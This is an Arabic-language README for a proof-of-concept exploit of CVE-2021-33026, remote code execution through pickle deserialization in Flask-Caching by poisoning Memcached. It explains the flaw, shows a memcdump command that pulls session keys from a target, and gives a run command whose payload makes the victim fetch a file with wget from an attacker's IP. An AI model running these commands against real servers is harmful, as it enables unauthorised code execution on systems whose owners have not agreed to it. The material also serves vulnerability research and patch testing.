
تنفيذ التعليمات البرمجية عن بُعد عبر Pickle Serialization - تسميم Memcached
استغلال تنفيذ التعليمات البرمجية عن بعد عبر تسلسل Pickle - تسمم Memcached PoC
ما هو CVE-2021-33026؟
"إضافة Flask-Caching حتى الإصدار 1.10.1 لـ Flask تعتمد على Pickle في التسلسل، مما قد يؤدي إلى تنفيذ تعليمات برمجية عن بعد أو تصعيد الامتيازات محلياً. إذا تمكن مهاجم من الوصول إلى مخزن التخزين المؤقت (مثل نظام الملفات، Memcached، Redis، إلخ)، يمكنه بناء حمولة مفبركة، وتسميم التخزين المؤقت، وتنفيذ كود Python."
ما هي وظيفة مكتبة Pickle؟
"تُستخدم Pickle في Python بشكل أساسي لتسلسل وإلغاء تسلسل بنية كائن Python. بمعنى آخر، هي عملية تحويل كائن Python إلى تيار بايت لتخزينه في ملف/قاعدة بيانات، أو الحفاظ على حالة البرنامج عبر الجلسات، أو نقل البيانات عبر الشبكة."
ما هو Memcached؟
"Memcached هو نظام تخزين مؤقت موزع للأغراض العامة. يُستخدم غالباً لتسريع مواقع الويب الديناميكية المعتمدة على قواعد البيانات عن طريق تخزين البيانات والكائنات مؤقتاً في الذاكرة (RAM) لتقليل عدد مرات قراءة مصدر البيانات الخارجي."
[!] الاستغلال:
1. لكي يعمل الاستغلال، من الضروري توفير كوكي جلسة، لماذا؟ في هذا المفهوم الإثباتي لدينا حالة يتم فيها إدارة أو تخزين كوكي الجلسة لتطبيق Flask ضعيف بواسطة خدمة memcached:
memcdump --servers=target_machine_ip_address

2. استخدام الأداة:
-h --> قائمة المساعدة
--cmd --> الأمر الذي سيتم تنفيذه على الجهاز الهدف
--rhost --> عنوان IP للجهاز الهدف
--rport --> منفذ الجهاز الهدف
--cookie --> كوكي الجلسة الفعلية الخاصة بك من تطبيق Flask الضعيف. مثال: session:58e61600-9ecf-45b8-b7b8-db2f0a00f421
3. تشغيل الأداة:
python3 cve-2021-33026_PoC.py --rhost $target_machine_ip_address --rport $target_machine_port --cmd "wget $attacker_ip/picke_memcached_posisoning_exploit" --cookie "session:58e61600-9ecf-45b8-b7b8-db2f0a00f421"

المراجع:
https://nvd.nist.gov/vuln/detail/CVE-2021-33026
https://github.com/pallets-eco/flask-caching/pull/209
https://www.synopsys.com/blogs/software-security/python-pickling/